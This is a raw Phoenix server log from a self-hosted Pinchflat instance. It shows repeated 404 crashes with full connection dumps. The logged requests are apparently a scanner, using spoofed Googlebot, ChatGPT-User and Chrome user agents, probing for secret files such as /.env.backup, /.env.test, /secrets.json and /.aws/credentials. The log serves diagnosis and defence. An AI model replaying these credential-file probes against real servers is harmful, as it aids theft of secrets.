{PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05e9889e886-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "918ed4253pev.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05e9889e886-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "918ed4253pev.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, (truncated) 02:30:29.158 [info] GET /config.json 02:30:29.159 [debug] QUERY OK source="settings" db=0.3ms idle=166.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.159 [debug] QUERY OK source="settings" db=0.2ms idle=13.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.159 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:29.159 [error] #PID<0.3620.0> running PinchflatWeb.Endpoint (connection #PID<0.3617.0>, stream id 3) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05eae500c44-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "441a83e30e09.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3620.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e05eae500c44-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "441a83e30e09.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "104.22.56.192"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBL-aXnve9gQAAUsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05eae500c44-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "441a83e30e09.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05eae500c44-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "441a83e30e09.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_p (truncated) 02:30:29.161 [info] GET /.env.backup 02:30:29.161 [debug] QUERY OK source="settings" db=0.1ms idle=15.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.161 [debug] QUERY OK source="settings" db=0.0ms idle=12.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.161 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:29.161 [error] #PID<0.3621.0> running PinchflatWeb.Endpoint (connection #PID<0.3617.0>, stream id 4) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.backup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200e05eaf81a370-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "h9d94it3.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3621.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-connecting-ip", "34.139.141.56"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e05eaf81a370-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "h9d94it3.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "104.22.56.193"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBL_APnNB5g4AAUtB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200e05eaf81a370-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "h9d94it3.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200e05eaf81a370-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "h9d94it3.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net (truncated) 02:30:29.168 [info] GET /.env.test 02:30:29.168 [info] GET /.env.dist 02:30:29.168 [debug] QUERY OK source="settings" db=0.4ms idle=19.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.168 [info] GET /.aws/credentials 02:30:29.169 [debug] QUERY OK source="settings" db=0.3ms idle=9.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.169 [info] GET /.env.save 02:30:29.169 [debug] QUERY OK source="settings" db=0.3ms idle=9.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.169 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:29.169 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.169 [debug] QUERY OK source="settings" db=0.2ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.170 [debug] QUERY OK source="settings" db=0.6ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.170 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:29.170 [debug] QUERY OK source="settings" db=0.4ms queue=0.4ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.170 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:29.171 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.171 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:29.169 [error] #PID<0.3622.0> running PinchflatWeb.Endpoint (connection #PID<0.3617.0>, stream id 5) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.test ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05ea8c42c4f-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "31efbcebuh38.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.1.49", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3622.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e05ea8c42c4f-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "31efbcebuh38.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.22.1.49"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.test", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBMAqu1ytLd0AAUuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05ea8c42c4f-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "31efbcebuh38.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.1.49", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 